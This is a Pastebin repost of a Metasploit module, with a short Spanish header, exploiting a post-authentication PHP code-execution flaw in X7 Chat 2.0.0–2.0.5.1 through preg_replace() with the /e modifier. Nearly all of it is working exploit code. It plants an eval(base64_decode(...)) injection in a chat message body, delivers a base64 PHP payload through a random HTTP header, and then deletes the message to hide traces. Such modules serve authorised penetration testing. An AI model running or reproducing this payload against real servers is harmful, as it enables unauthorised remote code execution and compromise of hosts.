Advertisement
Mayk0

#; X7 Chat 2.0.5 lib/message.php preg_replace()

Nov 6th, 2014
332
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.91 KB | None | 0 0
  1. Titulo completo X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution Exploit
  2. Fecha 2014-11-06
  3. Categoria remote exploits
  4. Platforma php
  5.  
  6. ==========================================
  7.  
  8. Descripcion:
  9. This Metasploit module exploits a post-auth vulnerability found in X7 Chat versions 2.0.0 up to 2.0.5.1. The vulnerable code exists on lib/message.php, which uses preg_replace() function with the /e modifier. This allows a remote authenticated attacker to execute arbitrary PHP code in the remote machine.
  10.  
  11. ==========================================
  12.  
  13. ##
  14. # This module requires Metasploit: http://metasploit.com/download
  15. # Current source: https://github.com/rapid7/metasploit-framework
  16. ##
  17.  
  18. require 'msf/core'
  19.  
  20. class Metasploit3 < Msf::Exploit::Remote
  21. Rank = ExcellentRanking
  22.  
  23. include Msf::Exploit::Remote::HttpClient
  24. include Msf::Exploit::PhpEXE
  25.  
  26. def initialize(info = {})
  27. super(update_info(info,
  28. 'Name' => 'X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution',
  29. 'Description' => %q{
  30. This module exploits a post-auth vulnerability found in X7 Chat versions
  31. 2.0.0 up to 2.0.5.1. The vulnerable code exists on lib/message.php, which
  32. uses preg_replace() function with the /e modifier. This allows a remote
  33. authenticated attacker to execute arbitrary PHP code in the remote machine.
  34. },
  35. 'License' => MSF_LICENSE,
  36. 'Author' =>
  37. [
  38. 'Fernando Munoz <fernando[at]null-life.com>', # discovery & module development
  39. 'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco
  40. ],
  41. 'References' =>
  42. [
  43. # Using this URL because isn't nothing else atm
  44. ['URL', 'https://github.com/rapid7/metasploit-framework/pull/4076']
  45. ],
  46. 'Platform' => 'php',
  47. 'Arch' => ARCH_PHP,
  48. 'Targets' => [['Generic (PHP Payload)', {}]],
  49. 'DisclosureDate' => 'Oct 27 2014',
  50. 'DefaultTarget' => 0))
  51.  
  52. register_options(
  53. [
  54. OptString.new('USERNAME', [ true, 'Username to authenticate as', '']),
  55. OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', '']),
  56. OptString.new('TARGETURI', [ true, 'Base x7 Chat directory path', '/x7chat2']),
  57. ], self.class)
  58. end
  59.  
  60. def check
  61. res = exec_php('phpinfo(); die();', true)
  62.  
  63. if res && res.body =~ /This program makes use of the Zend/
  64. return Exploit::CheckCode::Vulnerable
  65. else
  66. return Exploit::CheckCode::Unknown
  67. end
  68. end
  69.  
  70. def exec_php(php_code, is_check = false)
  71.  
  72. # remove comments, line breaks and spaces of php_code
  73. payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')
  74.  
  75. # clean b64 payload (we can not use quotes or apostrophes and b64 string must not contain equals)
  76. while Rex::Text.encode_base64(payload_clean) =~ /=/
  77. payload_clean = "#{ payload_clean } "
  78. end
  79. payload_b64 = Rex::Text.encode_base64(payload_clean)
  80.  
  81. cookie_x7c2u = "X7C2U=#{ datastore['USERNAME'] }"
  82. cookie_x7c2p = "X7C2P=#{ Rex::Text.md5(datastore['PASSWORD']) }"
  83. rand_text = Rex::Text.rand_text_alpha_upper(5, 8)
  84.  
  85. print_status("Trying for version 2.0.2 up to 2.0.5.1")
  86. print_status("Sending offline message (#{ rand_text }) to #{ datastore['USERNAME'] }...")
  87. res = send_request_cgi({
  88. 'method' => 'GET',
  89. 'uri' => normalize_uri(target_uri.path, 'index.php'),
  90. 'headers' => {
  91. 'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
  92. },
  93. 'vars_get' => {
  94. # value compatible with 2.0.2 up to 2.0.5.1
  95. 'act' => 'user_cp',
  96. 'cp_page' => 'msgcenter',
  97. 'to' => datastore['USERNAME'],
  98. 'subject' => rand_text,
  99. 'body' => "#{ rand_text }www.{${eval(base64_decode($_SERVER[HTTP_#{ rand_text }]))}}.c#{ rand_text }",
  100. }
  101. })
  102.  
  103. unless res && res.code == 200
  104. print_error("Sending the message (#{ rand_text }) has failed")
  105. return false
  106. end
  107.  
  108. if res.body =~ /([0-9]*)">#{ rand_text }/
  109. message_id = Regexp.last_match[1]
  110. user_panel = 'user_cp'
  111. else
  112. print_error("Could not find message (#{ rand_text }) in the message list")
  113.  
  114. print_status("Retrying for version 2.0.0 up to 2.0.1 a1")
  115. print_status("Sending offline message (#{ rand_text }) to #{ datastore['USERNAME'] }...")
  116. res = send_request_cgi({
  117. 'method' => 'GET',
  118. 'uri' => normalize_uri(target_uri.path, 'index.php'),
  119. 'headers' => {
  120. 'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
  121. },
  122. 'vars_get' => {
  123. # value compatible with 2.0.0 up to 2.0.1 a1
  124. 'act' => 'usercp',
  125. 'cp_page' => 'msgcenter',
  126. 'to' => datastore['USERNAME'],
  127. 'subject' => rand_text,
  128. 'body' => "#{ rand_text }www.{${eval(base64_decode($_SERVER[HTTP_#{ rand_text }]))}}.c#{ rand_text }",
  129. }
  130. })
  131.  
  132. unless res && res.code == 200
  133. print_error("Sending the message (#{ rand_text }) has failed")
  134. return false
  135. end
  136.  
  137. if res.body =~ /([0-9]*)">#{ rand_text }/
  138. message_id = Regexp.last_match[1]
  139. user_panel = 'usercp'
  140. else
  141. print_error("Could not find message (#{ rand_text }) in the message list")
  142. return false
  143. end
  144. end
  145.  
  146. print_status("Accessing message (#{ rand_text })")
  147. print_status("Sending payload in HTTP header '#{ rand_text }'")
  148.  
  149. if is_check
  150. timeout = 20
  151. else
  152. timeout = 3
  153. end
  154.  
  155. res = send_request_cgi({
  156. 'method' => 'GET',
  157. 'uri' => normalize_uri(target_uri.path, 'index.php'),
  158. 'headers' => {
  159. 'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
  160. rand_text => payload_b64,
  161. },
  162. 'vars_get' => {
  163. 'act' => user_panel,
  164. 'cp_page' => 'msgcenter',
  165. 'read' => message_id,
  166. }
  167. }, timeout)
  168.  
  169. res_payload = res
  170.  
  171. print_status("Deleting message (#{ rand_text })")
  172. res = send_request_cgi({
  173. 'method' => 'GET',
  174. 'uri' => normalize_uri(target_uri.path, 'index.php'),
  175. 'headers' => {
  176. 'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
  177. },
  178. 'vars_get' => {
  179. 'act' => user_panel,
  180. 'cp_page' => 'msgcenter',
  181. 'delete' => message_id,
  182. }
  183. })
  184.  
  185. if res && res.body =~ /The message has been deleted/
  186. print_good("Message (#{ rand_text }) removed")
  187. else
  188. print_error("Removing message (#{ rand_text }) has failed")
  189. return false
  190. end
  191.  
  192. # if check return the response
  193. if is_check
  194. return res_payload
  195. else
  196. return true
  197. end
  198. end
  199.  
  200. def exploit
  201. unless exec_php(payload.encoded)
  202. fail_with(Failure::Unknown, "#{peer} - Exploit failed, aborting.")
  203. end
  204. end
  205. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement